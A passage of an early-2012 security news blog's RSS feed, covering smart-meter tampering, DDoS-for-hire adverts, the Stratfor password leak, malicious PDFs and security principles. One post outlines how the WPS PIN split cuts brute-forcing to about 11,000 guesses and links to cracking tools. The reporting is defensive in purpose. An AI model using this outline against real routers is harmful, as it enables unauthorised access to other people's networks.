</ul>
<p>The benefits are:</p>
<ul>
<li>a consumer gains visiblity of their usage and can optimize their consumption</li>
<li>the utility provider canvary their service charges</li>
<li>the infrastructure provider can better utilise their power infrastructure</li>
</ul>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/discovergy-interface.jpg" alt="" title="discovergy-interface" width="351" height="234" class="aligncenter size-full wp-image-2294" /></p>
<p>But are these devices safe, and what impact do they have on privacy?</p>
<p><strong>Privacy Concerns</strong></p>
<p>The device tested by Carluccio and Brinkhaus was from Discovergy, who assured that the Discovergy GUI interface was HTTPS encrypted and that the transmission of data to Discovergy was encrypted and signed (to prevent fraud). The researchers however discovered that the SSL certificate was not configured properly and their browser generated a certificate warning. After authentication, the site also redirected to a non-SSL version. </p>
<p>What about the data being sent back to Discovergy? This was not properly encrypted or signed either, and the researchers were able to intercept the data, change it, and hence alter their bill. After some manipulation, here was the consumption graph of the researchers:</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/smart-meter-hacked.jpg" alt="" title="smart-meter-hacked" width="575" height="308" class="aligncenter size-full wp-image-2296" /></p>
<p>Perhaps the most alarming development for privacy, though, was that the meter recorded usage in two second intervals. Whilst this is great for understandind consumption with a very high fidelity, it also means that a pattern of life can easily be built through analysis of the consumption graphs. For example, it was possible to tell when the fridge was on, when the iron was on, or even which channel was showing on the television (by how much power was required for the plasma screen to display the image). </p>
<p>During the Q&#038;A session, the CEO of Discovergy introduced himself to the audience and was invited to the podium. He explained that the reason Discovergy were collecting per second data was to allow consumers to profile their devices and to understand which of them may be consuming excessive amounts of electricity. In the future, he assured the audience, consumers would be able to opt out of detailed data collection.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/Ci1FztLumLA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/smart-meter-privacy-concerns/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/smart-meter-privacy-concerns/</feedburner:origLink></item>
		<item>
		<title>Password reminders from power adaptors</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/wHDEYiWPauM/</link>
		<comments>http://www.digitalthreat.net/2012/01/password-reminders-from-power-adaptors/#comments</comments>
		<pubDate>Tue, 10 Jan 2012 08:21:46 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Risk Management]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2288</guid>
		<description><![CDATA[A recent patent filing in the US (2012/0005747) by Apple, sets out a system for two-factor authentication using computer peripherals. Authentication mechanisms can make use of one of more &#8216;factors&#8217;. They are typically: Something &#8216;I know&#8217; ...]]></description>
			<content:encoded><![CDATA[<p>A recent patent filing in the US (<a href="http://www.pat2pdf.org/patents/pat20120005747.pdf">2012/0005747</a>) by Apple, sets out a system for two-factor authentication using computer peripherals. </p>
<p>Authentication mechanisms can make use of one of more &#8216;factors&#8217;. They are typically:</p>
<ul>
<li>Something &#8216;I know&#8217; (a password)</li>
<li>Something &#8216;I have&#8217; (a token, or in this case, a peripheral)</li>
<li>Something &#8216;I am&#8217; (a biometric)</li>
</ul>
<p>Standard authentication on a personal computer is single-factor &#8211; the user must identify themselves with a username, and then authenticate with a password (something &#8216;I know&#8217;). Forgotten passwords, which this patent filing covers, are typically recovered using either a hint, or providing an answer to one or more secret questions (also in the something &#8216;I know&#8217; factor). Hints are not particularly secure because they point an attacker (or thief) towards the correct password. Secret questions, unless chosen wisely, are not much better, because the attacker may be able to discover the answers.</p>
<p>Apple&#8217;s suggestion is designed to prevent thieves accessing personal computers, but introducing a second factor &#8211; something &#8216;I have&#8217; &#8211; into password recovery. From the filing:</p>
<blockquote><p>
One of the threat models which this approach addresses is that in which an opportunistic thief steals a portable device while the user is &#8220;out and about&#8221; &#8211; that is, the device is being carried by the user and is physicaly separate from its associated peripheral or companion device. One example is a student that takes her laptop computer to a university class, but leaves the docking station in her dorm room. Another example is an employee that takes his portable media player to work, but leaves the power cord in a locker.
</p></blockquote>
<p>Apple propose placing a small memory chip in the power adaptor containing a secret which will unlock the computer and allow a user to reset a forgotten password. Without the power adaptor, the password would not be recoverable. The filing goes further to suggest that the computer may also need to receive permission from Apple (perhaps via a user authentication on the Apple website) to reset the password. This really would be two factor &#8211; one password on the Apple website coupled with a physical token concealed in the power adaptor.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/apple-poweradaptor-authentication.jpg" alt="" title="apple-poweradaptor-authentication" width="575" height="292" class="aligncenter size-full wp-image-2289" /></p>
<p>In order to prevent attacks against the power adaptor, the proposal is that the secret key on the adaptor is itself encrypted with a second key held only on the laptop. Therefore only a complete pairing of adaptor and laptop will allow access.</p>
<p>Of course, if this system is ever rolled out, thieves will learn to steal the power adaptor. Apple suggest that more than one peripheral could be included in this scheme, and that each peripheral could contain credentials for more than one device. The filing also suggests that a third authentication factor could be included &#8211; a biometric signature, required by the peripheral before it would release its secret key. </p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/wHDEYiWPauM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/password-reminders-from-power-adaptors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/password-reminders-from-power-adaptors/</feedburner:origLink></item>
		<item>
		<title>Distributed Denial of Service Service</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/-mgqLKUQxIA/</link>
		<comments>http://www.digitalthreat.net/2012/01/distributed-denial-of-service-service/#comments</comments>
		<pubDate>Sun, 08 Jan 2012 23:57:10 +0000</pubDate>
		<dc:creator>Luciana de Rossi</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2283</guid>
		<description><![CDATA[In a rather strange turn of events, a hacking group have advertised a DDoS service via a video on YouTube. Hello Hackers. I&#8217;m here to promote [a] professional, cheap, DDoS service. It&#8217;s strong, fast, interested, with ...]]></description>
			<content:encoded><![CDATA[<p>In a rather strange turn of events, a hacking group have advertised a DDoS service via a video on YouTube. </p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/ddos-service.jpg" alt="" title="ddos-service" width="575" height="449" class="aligncenter size-full wp-image-2285" /></p>
<blockquote><p>
Hello Hackers.<br />
I&#8217;m here to promote [a] professional, cheap, DDoS service.<br />
It&#8217;s strong, fast, interested, with no time limit.<br />
What we do is take down large websites, large forums, games servers and website blogs.<br />
You can blow your competition and web enemies away.<br />
You can reach us at Skype, Yahoo or MSN [and] we look forward to doing business with you.
</p></blockquote>
<p>The service, which has an associated web forum post advertising rates of $2/hr for up to 4 hours, $5/hr for up to 72 hours, and a fixed rate of $1,000 for a month, takes payment in PayPal, Liberty Reserve and Western Union.</p>
<p>Although hacking and disruption &#8220;as a service&#8221; have been around for a long time, this is a particularly brazen advertisement on YouTube, whose members haven&#8217;t responded particularly enthusiastically.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/ddos-service-likes.jpg" alt="" title="ddos-service-likes" width="352" height="68" class="aligncenter size-full wp-image-2284" /></p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/-mgqLKUQxIA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/distributed-denial-of-service-service/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/distributed-denial-of-service-service/</feedburner:origLink></item>
		<item>
		<title>Backup failure causes retrial</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/JCX-UeYPQCE/</link>
		<comments>http://www.digitalthreat.net/2012/01/backup-failure-causes-retrial/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 08:11:26 +0000</pubDate>
		<dc:creator>Luciana de Rossi</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Risk Management]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2279</guid>
		<description><![CDATA[An appeals court in Miami last week threw out the conviction for murder of Randy Chaviano, the South Florida Sun Sentiel reports. Chaviano had been found guilty in July 2009 of the fatal shooting of a ...]]></description>
			<content:encoded><![CDATA[<p>An appeals court in Miami last week threw out the conviction for murder of Randy Chaviano, the <a href="http://www.sun-sentinel.com/news/local/florida/sfl-killer-gets-new-trial-stenographer-accident-20120104,0,6610504.story">South Florida Sun Sentiel reports</a>. Chaviano had been found guilty in July 2009 of the fatal shooting of a man in his apartment in Hialeah, Florida. The court threw out the conviction because, when Chaviano chose to launch an appeal into his conviction, no official record of his eight day trial appeared to exist.</p>
<p>A subsequent investigation revealed that the court stenographer, Terlesa Cowart, who has responsibility for creating the official record of the trial, was using a stenography machine capable of simultaneously capturing the transcript digitally and on paper. Unfortunately, in this case, the machine ran out of paper during the trial, and the transcript was only kept digitally. After the trial, the official court record was transferred to Cowart&#8217;s desktop computer and wiped from the stenography machine. </p>
<p>So far, so good. Unfortunately, though, Cowart&#8217;s computer was struck by a virus, which wiped the only remaining copy of the transcript. Without an official record of the conviction, the appeals court had no choice but to order a retrial.</p>
<p>Information Security is the art of protecting the Confidentiality, Integrity and Accessibility of data. Security experts often concentrate on protecting confidentiality at the risk of overlooking accessibility, which is often the target of a computer virus. A proper data warehousing and backup policy would have averted this disaster, and an anti-virus policy could well have helped too (though there is, of course, no guarantee that the virus would have been detected).</p>
<p>Remember, Information Security should be free &#8211; the money saved not running a retrial could easily have paid for a backup and data warehousing solution. Following a rigorous <a href="http://www.digitalthreat.net/2010/05/information-security-risk-analysis/">Risk Management</a> process will highlight the cost (and likelihood) of events like this, and will help to justify the cost of proper mitigations.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/JCX-UeYPQCE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/backup-failure-causes-retrial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/backup-failure-causes-retrial/</feedburner:origLink></item>
		<item>
		<title>Bypassing WPS Router Security</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/DmiHOVTuFwc/</link>
		<comments>http://www.digitalthreat.net/2012/01/bypassing-wps-router-security/#comments</comments>
		<pubDate>Wed, 04 Jan 2012 11:10:40 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Exploits and Malware]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2273</guid>
		<description><![CDATA[Security researcher Stefan Viehbock recently released information about a method that can be used to bypass the security on a Wi-Fi Protected Security (WPS) router. WPS is a mechanism that was developed to make it simple ...]]></description>
			<content:encoded><![CDATA[<p>Security researcher Stefan Viehbock recently <a href="http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/">released information</a> about a method that can be used to bypass the security on a Wi-Fi Protected Security (WPS) router. </p>
<p>WPS is a mechanism that was developed to make it simple for new devices to be added to an existing wireless network without having to understand the complex configuration required for a WPA2 protected network. The WPS enabled router has a PIN printed on the back which is entered into a wizard on the new client. The client communications with the router or access point over the wireless network using a series of EAP messages. At the end of the process, the access point disassociates from the client and waits for the client to connect with its new configuration.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/wps.jpg" alt="" title="wps" width="575" height="339" class="aligncenter size-full wp-image-2274" /></p>
<p>WPS PINS are eight digits long, giving a brute-force complexity of 10^8 (100 million attempts required to guarantee success). The last digit of the PIN is a checksum, so can be calculated. This reduces the complexity to 10^7 (10 million attempts). Viehbock&#8217;s discovery, which alters the playing field completely, is that devices behave differently if the first four characters of an incorrect PIN are correct. It is therefore possible to brute-force the first four characters, followed by the last three characters, instead of having to guess all seven characters at once. As a result, the complexity of the problem is reduced to 10^4 followed by 10^3 (11,000 tries in total). In addition, Viehbock discovered that a number of popular routers do not have any brute force protection, allowing PIN guesses to be made in rapid succession.</p>
<p>In a video posted on Viehbock&#8217;s <a href="http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/">blog</a>, he demonstrates an attack that completes in 45 minutes. </p>
<p><center><iframe src="http://player.vimeo.com/video/34402962?title=0&amp;byline=0&amp;portrait=0" width="400" height="225" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>
<p><a href="http://vimeo.com/34402962">wpscrack vs. TP-Link TL-WR1043ND &#8211; Demo</a> from <a href="http://vimeo.com/user4946894">Stefan Viehboeck</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p></center></p>
<p>US-CERT have confirmed the vulnerability:</p>
<blockquote>
<p>An attacker within range of the wireless access point may be able to brute force the WPS PIN and retrieve the password for the wireless network, change the configuration of the access point, or cause a denial of service. </p>
<p>We are currently unaware of a practical solution to this problem.</p>
<p>Please consider the following workaround &#8211; within the wireless router&#8217;s configuration menu, disable the external registrar feature of WiFi Protected Setup (WPS). Depending on the vendor, this may be labeled as external registrar, router PIN, or WiFi Protected Setup. </p>
</blockquote>
<p>A number of tools have been released that weaponise the vulnerability, including Viehbock&#8217;s proof of concept tool <a href="http://dl.dropbox.com/u/22108808/wpscrack.zip">WPS-crack</a> and Craig Heffner&#8217;s tool <a href="https://code.google.com/p/reaver-wps/">Reaver</a>.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/DmiHOVTuFwc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/bypassing-wps-router-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/bypassing-wps-router-security/</feedburner:origLink></item>
		<item>
		<title>10% of passwords cracked in 5hrs</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/uqnos7WHUV0/</link>
		<comments>http://www.digitalthreat.net/2012/01/1-in-10-passwords-cracked-in-5hrs/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 16:37:14 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Threat Mitigation]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2266</guid>
		<description><![CDATA[At the end of 2011, the hacking group Anonymous published a million password hashes stolen from US firm Strategic Forecasting. The leaked hashes give us a fascinating insight into the password selection criteria used by Stratfor ...]]></description>
			<content:encoded><![CDATA[<p>At the end of 2011, the hacking group Anonymous published a million password hashes stolen from US firm Strategic Forecasting. The leaked hashes give us a fascinating insight into the password selection criteria used by Stratfor customers and staff. </p>
<p><a href="http://www.thetechherald.com/articles/Report-Analysis-of-the-Stratfor-Password-List">The Tech Herald</a> acquired a list of the password hashes and spent just under five hours cracking them. In this time, with the use of 42 lists of common words or passwords, they cracked just under 10% of the 860,160 released hashes. </p>
<p>Stratfor had imposed a six character lower limit on password selection. Unsurprisingly, a large number of passwords were only six characters long (30%) with less than 20% being eight or more characters.  A number of rather insecure passwords were detected by The Tech Herald and released:</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/stratfor-passwords.jpg" alt="" title="stratfor-passwords" width="575" height="427" class="aligncenter size-full wp-image-2267" /></p>
<p>Even those users who chose long passwords weren&#8217;t necessarily chosing the most secure. The most common eight character password was &#8216;PASSWORD&#8217; (closely followed by &#8216;stratfor&#8217;), the most common nine character password was &#8216;PASSWORD1&#8242; and the most common ten character password was &#8216;Password01&#8242;. Although a derivation of &#8216;password&#8217; was not the most common eleven character password (which, incidentally was &#8216;information&#8217;), the second most common eleven character password was &#8216;Password123&#8242;. </p>
<p>And Stratfor aren&#8217;t alone, either. Take a look at this Infographic from <a href="http://www.veracode.com/blog/">Veracode</a>, which sets out Twitter&#8217;s unending problem with insecure passwords. Twitter have now taken the rather sensible step of now banning 401 obvious passwords and closing accounts that aren&#8217;t secure.</p>
<p><a href="http://www.veracode.com/blog/2011/03/twitter-hacks-infographic/"><br />
<img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/twitter-obvious-passwords.jpg" alt="" title="twitter-obvious-passwords" width="575" height="340" class="aligncenter size-full wp-image-2310" /></a></p>
<p>This research serves as a welcome reminder that we should all reconsider our password policies. We should not only secure our <em>internal</em> systems through the use of policies, we should also require that our staff use secure passwords when accessing third party systems. If the user whose password was &#8216;blackwater&#8217; was a member of that company, he could possibly have caused his organisation some serious embarassment if his account had been compromised prior to this leak.</p>
<p>When designing services for customers or the public, we should enforce complex passwords, and should also consider blacklisting common derivations of &#8216;qwerty&#8217;, &#8216;password&#8217; and other similar shortcuts. In short, we should do everything that we can to avoid &#8216;************&#8217; being submitted by any user as their password, or being accepted by any system as suitable. </p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/uqnos7WHUV0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/1-in-10-passwords-cracked-in-5hrs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/1-in-10-passwords-cracked-in-5hrs/</feedburner:origLink></item>
		<item>
		<title>Kim Jong-Il death exploited</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/k1LhI3Vcub8/</link>
		<comments>http://www.digitalthreat.net/2012/01/kim-jong-il-death-exploited-by-cyber-criminals/#comments</comments>
		<pubDate>Mon, 02 Jan 2012 12:05:24 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2256</guid>
		<description><![CDATA[The former North Korean dictator Kim Jong-Il, who suffered a fatal heart attack on board a train on December 17th last year, has become the latest subject of e-mail spammers. Trend Micro researchers have collected a ...]]></description>
			<content:encoded><![CDATA[<p>The former North Korean dictator Kim Jong-Il, who suffered a fatal heart attack on board a train on December 17th last year, has become the latest subject of e-mail spammers.</p>
<p><a href="http://blog.trendmicro.com/kim-jong-il-malicious-spam-found/">Trend Micro</a> researchers have collected a number of spam e-mails sent in the days after Mr Kim&#8217;s death that contain malicious PDF file attachments. The e-mails announce the death of Kim Jong-Il and carry a PDF file named &#8216;A Brief Introduction of Kim Jong-Il&#8217;. </p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/01/kim-jong-il.jpg" alt="" title="kim-jong-il" width="575" height="426" class="aligncenter size-full wp-image-2257" /></p>
<p>Analysis of the PDF attackment by Erika Mendoza at Trend Micro revealed that it exploits CVE-2010-2883 and CVE-2011-0611 in Adobe Reader and Acrobat. It drops a backdoor that provides the ability to upload and download files, execute files and terminate processes.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/k1LhI3Vcub8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/01/kim-jong-il-death-exploited-by-cyber-criminals/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/01/kim-jong-il-death-exploited-by-cyber-criminals/</feedburner:origLink></item>
		<item>
		<title>Ten Rules of Information Security</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/qhlnqAd0NTo/</link>
		<comments>http://www.digitalthreat.net/2011/12/ten-rules-of-information-security/#comments</comments>
		<pubDate>Sun, 04 Dec 2011 19:23:11 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Risk Management]]></category>
		<category><![CDATA[slider]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2231</guid>
		<description><![CDATA[There are a number of rules, or principles, that I firmly believe should be at the heart of any organisation&#8217;s Information Security programme. I&#8217;ve spent a number of years advising clients on these topics and thought ...]]></description>
			<content:encoded><![CDATA[<p>There are a number of rules, or principles, that I firmly believe should be at the heart of any organisation&#8217;s Information Security programme. I&#8217;ve spent a number of years advising clients on these topics and thought it was time I captured them in a list. Here is a set of ten of the most important rules, and are those which I find myself repeating most often. This is a living article, so if you disagree with any of th epoints, or think that I have missed something out, please drop us a comment at the end.</p>
<h3>1. Know what you are protecting, and why you are protecting it</h3>
<p>This is, by far, the most important rule of Information Security and it comes down to this simple fact: whatever you are doing, do it for a reason. Usually, security requirements lead back to the CIA triad (Confidentiality, Integrity, Accessiblity), and so should all your risk assessments, your plans and your mitigations. Unlikely as it is, if none your data is not worth anything, then confidentiality should be a requirement that you put little if any resource into achieving.</p>
<h3>2. Understand your enemy</h3>
<p>Once you have decided what you are protecting and why, you need to identify the hostile actors that you will defend against. These could be your commercial competition, low level criminals, organised crime groups, state sponsored actors or even disgruntled employees. This rule should probably read &#8220;Understand your enemies&#8221;, because you will almost certainly identify more than one. You should pay particular attention to the groups that you <em>don&#8217;t</em> care about, and should avoid wasting time defending against them.</p>
<p>When you have identified a group of hostile actors, you must devote time to understanding their capabilities. You should understand the attack vectors that they use regularly against similar organisations and also the defences that others have successfully used against them. Cooperation with partners (and even competitors) in your industry will be essential.</p>
<h3>3. Defence should be in depth</h3>
<p>Applying multiple layers of defence is a military tactic designed to reduce the momentum of an attacker, who you confront with a number of different defensive tactics one after another. It is a strategic decision to give some ground to the attacker, whilst buying time for the defender. The concept was first applied to Information Security by the National Security Agency (NSA) in the United States. In short &#8211; do not rely on one single defensive measure &#8211; complement your primary defences with a series of (always different) secondary and tertiary layers. </p>
<h3>4. Accept some risk</h3>
<p>Risk Management is not a process that reduces risk to zero &#8211; any attempts to do so will certainly fail, and will consume significant amounts of money and manpower. Instead, should identify risks in your business that are not acceptable, mitigate them as far as possible, and then accept whatever residual risk remains. Being comfortable with accepting risk (and being able to express that risk to management) is an important element of Information Security.</p>
<h3>5. Technology is the least of your worries</h3>
<p>Information Security is not just a technology problem, it is often a people problem. Although a few risks exist that are purely technological (disk drives crashing, and taking data off-line for example), your biggest threat is almost certainly your workforce. A maliciously motivated insider with access to your data can cause untold damage. Don&#8217;t forget that your most dedicated staff will also make mistakes (losing confidential disks, clicking on phishing links, connecting new computers to the network without permission) which you need to prepare for.</p>
<p><em>Further Reading: <a href="http://www.digitalthreat.net/2010/06/secure-hiring-practice-and-employee-controls/">Secure Hiring Practice and Employee Controls</a>.</em></p>
<h3>6. Your strength is a function of your weakest link</h3>
<p>I was at a trade exhibition in Europe in 1997 at which the manufacturer of a new firewall launched a &#8216;Capture the Flag&#8217; competition. They placed a server in a cabinet and put the root password on a big poster for all to see. The server was behind their new firewall, and the challenge was to hack through the firewall, log in to the server with the password provided and retrieve the flag, which was a code saved in a text file. Hundreds of members of the public were queuing up to plug their laptops into the network and to attempt to hack through the firewall.</p>
<p>One clever pair of hackers tried a different attack vector. The first hacker distracted the staffer who was manning the stand. The second hacker opened the cabinet and logged onto the server using the keyboard and monitor inside. He retrieved the flag in seconds. The weak link? The cabinet wasn&#8217;t locked. You can build the tallest, smartest, strongest wall possible around your compound, but it is useless if you don&#8217;t lock the gate.</p>
<h3>7. People are your solution</h3>
<p>Rule 5 stated that &#8216;Technology is the least of your worries&#8217; and that your biggest threat is usually your workforce &#8211; whether disgruntled or not. Once you&#8217;ve accepted this, the next stage is to realise that your people are also your biggest asset. As well as fulfuling the important role of generating your income, they are also your most effective (and intelligent) early warning system. Any security process that you design should have your people at its heart, and should focus on training them to add to your organisation&#8217;s security.</p>
<h3>8. Security is journey, not a destination</h3>
<p>Remember that achieving a safe and secure operation is an ongoing process. The assets that you are protecting are constantly changing, as are your priorities. So too are those hostile actors who may wish to breach your security &#8211; new competitors will emerge, employees will come and go, criminal groups may move into, or out of, your market. Don&#8217;t set aside a fixed resource to &#8216;make the organisation secure&#8217; &#8211; you&#8217;ll need to dedicate resource on an ongoing basis. </p>
<h3>9. Get top cover</h3>
<p>An effective Information Security programme will reach into all areas of an organisation, and will require changes in areas like corporate technology, human resources, finance and estates. An Information Security Officer must have agreement and sponsorship at board level for the changes they are trying to implement across the organisation. Without this sponsorship, introducing a security programme will be an uphill struggle.</p>
<h3>10. Be honest</h3>
<p>Mistakes will happen, intrusions will occur, and your employees will make mistakes. A culture of honesty &#8211; encouraging those who have made mistakes to come forward and admit them for the good of the organisation &#8211; is essential to protect security. If you can build an honest workforce, trained to consider security at all times, and motivated to put the organiastion first, you will have most of your job complete.</p>
<h2>The Digital Threat Manifesto</h2>
<p>
<img src="http://www.digitalthreat.net/wp-content/uploads/2011/12/Digital-Threat-Manifesto.jpg" alt="" title="Digital Threat Manifesto" width="575" height="813" class="aligncenter size-full wp-image-2233" /></p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/qhlnqAd0NTo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2011/12/ten-rules-of-information-security/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2011/12/ten-rules-of-information-security/</feedburner:origLink></item>
		<item>
		<title>Anti-virus won’t keep your data safe</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/FXqj-uHHliM/</link>
		<comments>http://www.digitalthreat.net/2011/12/anti-virus-wont-keep-your-data-safe/#comments</comments>
		<pubDate>Sun, 04 Dec 2011 01:13:13 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Threat Mitigation]]></category>
		<category><![CDATA[slider]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2225</guid>
		<description><![CDATA[Two of the key rules of Information Security are to understand what you are protecting and to understand what you are protecting it against. These rules are easily forgotten when designing and implementing a new security ...]]></description>
			<content:encoded><![CDATA[<p>Two of the key rules of Information Security are to understand what you are protecting and to understand what you are protecting it against. These rules are easily forgotten when designing and implementing a new security system &#8211; it easy to find oneself purchasing and installing commonly used products, without stopping to consider what threat that product will protect against. Most IT workers, for example, will insist on installing an up-to-date anti-virus product on all their machines, but many don&#8217;t stop consider why they are doing it. Anti-virus is almost a reflex response to a requirement for security.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2011/12/infosec-triad.jpg" alt="" title="infosec-triad" width="247" height="211" class="aligncenter size-full wp-image-2226" /></p>
<p>All information security processes should exist to satisfy one of three requirements &#8211; Confidentiality, Integrity or Accessibility &#8211; often known as the CIA triad. That is, your security sytems should exist to protect your data from prying eyes (confidentiality), to protect it from being changed without authorisation (integrity) or to protect it from down-time (accessibility). </p>
<p>Security professionals are often guilty of overlooking integrity and accessibility and think of information security purely in terms of keeping their data safe from prying eyes. They also make the assumption that the products they use to secure their system will all help with confidentiality. Anti-virus products, though, exist to detect and remove large scale virus infections, very few of which ever steal or change corporate data. Instead, viruses usually cause disruption, make use of computer or network resourses (in DDoS attacks, for sending SPAM, for scanning networks etc), or in some cases target the financial data of home users (credit card details, BitCoins etc). </p>
<p>If a virus were to find its way onto a corporate network, it is unlikely that confidentiality would be breached. It is more likely that large scale disruption would occur, and that an expensive cleanup operation would be required, consuming both man-power and money and requiring system downtime. Viruses then, are more likely to affect the accessibility of a system than it&#8217;s confidentiality or integrity. Of course, it is possible that your system could be subject to a sophisticated attack, perhaps by a competitor, with the aim of stealing confidential corporate data. It us unlikely, though, that your anti-virus system would spot it.</p>
<p>(Edit: this <a href="http://feedproxy.google.com/~r/nakedsecurity/~3/ClnBrD4itmY/">article</a> about a hospital in Georgia illustrates the disruptive effect that a malware strike can have).</p>
<p>Accessibility is an important requirement under the CIA triad, and it is certainly worth having a corporate anti-virus solution in place to mitigate the risk of a large scale infection. It is important though, when planning your security architecture, to understand that the money you invest in your anti-virus solution is invested to keep your system online, and not to protect your data from theft. It is equally important that you ensure you have other mitigations in place to protect your data from competitors. Relying on anti-virus alone to mitigate data theft will not prove to be a successful strategy.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/FXqj-uHHliM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2011/12/anti-virus-wont-keep-your-data-safe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2011/12/anti-virus-wont-keep-your-data-safe/</feedburner:origLink></item>
		<item>
		<title>Dark Market – Lessons on Cyber Crime</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/IwrMtZk327M/</link>
		<comments>http://www.digitalthreat.net/2011/11/dark-market-lessons-o-cyber-crime/#comments</comments>
		<pubDate>Mon, 07 Nov 2011 18:43:08 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[slider]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2219</guid>
		<description><![CDATA[Former BBC and Guardian correspondent Misha Glenny is an expert on many subjects. He wrote the definitive account of the Balkan Wars &#8211; The Fall of Yugoslavia &#8211; during a posting to the area in the ...]]></description>
